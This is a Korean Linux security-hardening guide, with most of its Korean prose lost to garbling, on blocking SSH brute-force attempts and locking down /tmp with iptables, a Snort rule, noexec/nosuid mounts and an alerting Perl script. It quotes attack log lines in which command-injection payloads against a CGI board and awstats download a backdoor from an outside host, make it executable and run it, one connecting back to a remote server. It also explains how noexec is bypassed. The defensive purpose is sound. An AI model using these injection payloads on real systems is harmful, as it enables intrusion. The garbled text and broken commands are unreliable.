

[\(antihong@tt.co.kr\)](mailto:antihong@tt.co.kr)

(1) ssh

(2) root  
(kernel) root  
(kernel) root  
2.4.30

# ssh (brute force)

ssh (brute force)

가 .

- . ssh가 가 .  
- . ssh root 가 .  
(PermitRootLogin yes)

ssh brute force openssh, ssh2

```
Apr 15 14:20:44 test sshd(pam_unix)[24182]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=admin
Apr 15 14:20:48 test sshd(pam_unix)[24183]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=info
Apr 15 14:20:54 test sshd(pam_unix)[24187]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=root
```

```
Mar 31 21:49:10 ns opensshd[13845]: Illegal user temp from xxx.xxx.xxx.xxx
Mar 31 21:49:10 ns opensshd[13845]: Failed password for illegal user temp from
xxx.xxx.xxx.xxx port 51014 ssh2
```

```
May 8 05:53:32 free8 sshd[613]: connection from " xxx.xxx.xxx.xxx "
May 8 05:53:33 free8 sshd[5987]: password authentication failed. Login to account library not
allowed or account non -existent.
May 8 05:53:35 free8 sshd[613]: connection from " xxx.xxx.xxx.xxx "
May 8 05:53:36 free8 sshd[5989]: password authentication failed. Login to account info not
allowed or account non -existent.
```

```
# passwd -l user lock
ssh , IP
. Openssh tcp wrapper , ssh2 AllowHosts
IP .
. ssh(22/tcp)
.
iptables IP
.
192.168.1.0/24
```

ssh IP

```
# iptables -A INPUT -p tcp ?s 192.168.1.0/24 --dport 22 ?j ACCEPT  
# iptables -A INPUT -p tcp --dport 22 ?j DROP
```

가 script ssh scan

[http://bluedogsecurity.cyberinfo.se/ssh\\_block/](http://bluedogsecurity.cyberinfo.se/ssh_block/)

<http://sodaphish.com/files/tattle>

snort IDS	ssh	
120	IP 5	가

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"BLEEDING -  
EDGE Potential SSH Scan"; flags:S; threshold:type threshold, track  
by_src, count 5, seconds 120; flowbits:set,ssh.brute.attempt;  
classtype:suspicious-login; sid:2001219; rev:9;)
```

#

nobody apache

technote , awstat

/tmp

/tmp

```

201.9.xxx.xxx - - [28/Oct/2004:10:59:45 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxxx=| wget%20-
P%20/tmp%20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 " -"
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

201.9.xxx.xxx - - [28/Oct/2004:11:00:10 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxxx=| cd%20.;cd
%20.;cd%20.;cd%20.;cd%20.;cd%20.;cd%20.;cd%20.;cd%20.;cd%20.;cd%
20.;cd%20.;cd%20.;cd%20/tmp;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1"
200 5 " -" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

200.96.xx.xxx - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiaccxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 " -" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

```

```

/tmp . /tmp
      (temporary)
1777
      . nobody
      )
nobody 가 /tmp
      /tmp
      가 /var/tmp /dev/shm
      가
      가
      .

```

```
# find / -perm 1777 -print
```

```
/tmp/
```

```
/var/tmp/  
/dev/shm  
/var/spool/mail  
/var/spool/vbox  
/var/spool/samba  
/var/lib/texmf
```

```
    /var/spool/vbox /var/spool/samba, /var/lib/texmf
```

```
    . /var/spool/mail 1777
```

```
    /tmp/ /var/tmp/ , /dev/shm ,
```

```
    /tmp /var/tmp
```

```
# rm -f /var/tmp  
# ln -s /tmp /var/tmp
```

```
    /var/tmp , /tmp .  
    /tmp /dev/shm .  
    s 가  
/etc/fstab .
```

```
)  
/dev/sda10 /tmp ext3 defaults  
none /dev/shm tmpfs defaults
```

```
)  
/dev/sda10 /tmp ext3 defaults,noexec,nosuid  
none /dev/shm tmpfs defaults,noexec,nosuid
```

```
    mount  
    , suid .
```

```
# mount -o remount /tmp
# mount -o remount /dev/shm
```

```
mount cat /proc/mounts
```

```
script
```

```
w
```

<pre>#!/usr/bin/perl \$w=`w`; print \$w;</pre>	<pre>#!/bin/sh w</pre>
[test.cgi]	[test.sh]

755

/tmp

```
[root@sp /tmp]# ./test.sh
bash: ./test.sh: Permission denied
```

```
[root@sp /tmp]# ./test.cgi
bash: ./test.cgi: Permission denied
```

noexec

/tmp가

/  
/tmp

가

```
# cd /dev
# dd if=/dev/zero of=tmpmount bs=1024 count=800000
# mke2fs -j /dev/tmpmount
-j ext3 , ext2
# mount -o loop,noexec,nosuid,rw /dev/tmpmount /tmp
```

```
# chmod 1777 /tmp/
```

```
### /etc/fstab 가
```

```
/dev/tmpmount /tmp xt3 loop,noexec,nosuid,rw 0 0
```

```
# df -h
```

```
/dev/tmpmount 769M 17M 714M 3% /tmp
```

```
/tmp가 가 .
```

```
/tmp
```

```
mysql
```

```
가
```

```
mysql socket
```

```
/tmp
```

```
/tmp
```

```
# noexec
```

```
script kid
```

```
가
```

```
noexec
```

```
/tmp/
```

```
/usr/bin/perl /bin/sh
```

```
$ /usr/bin/perl /tmp/test.cgi
```

```
$/bin/sh /tmp/test.sh
```

```
noexec
```

```
/tmp /var/tmp
```

```
script kid
```

```
/tmp
```

```
nobody
```

```
#!/usr/bin/perl

$TASK = `find /tmp -user nobody | grep -v sess_`;
$HOSTNAME = `/bin/hostname`;
$TO_MAIL    = 'antihong@tt.co.kr';
$SUBJECT    = "$HOSTNAME backdoor";
$MAIL_PROGRAM = "/usr/sbin/sendmail";

if ($TASK){
    &task_confirm;
}
sub task_confirm{
    open(MAIL, "|$MAIL_PROGRAM -t");
    print MAIL "To: $TO_MAIL \n";
    print MAIL "Subject: $SUBJECT \n \n";
    print MAIL "      가 nobody      . \n";
    print MAIL "      ... \n";
    print MAIL "Host: $HOSTNAME \n";
    print MAIL "$TASK \n";
    close(MAIL);
}

```

. 가 modsecurity /tmp  
 filter /tmp  
 . Modsecurity  
[\(http://www.modsecurity.org/\)](http://www.modsecurity.org/) 가  
[\(http://www.superuser.co.kr/linuxsecurityadmin/\)](http://www.superuser.co.kr/linuxsecurityadmin/)

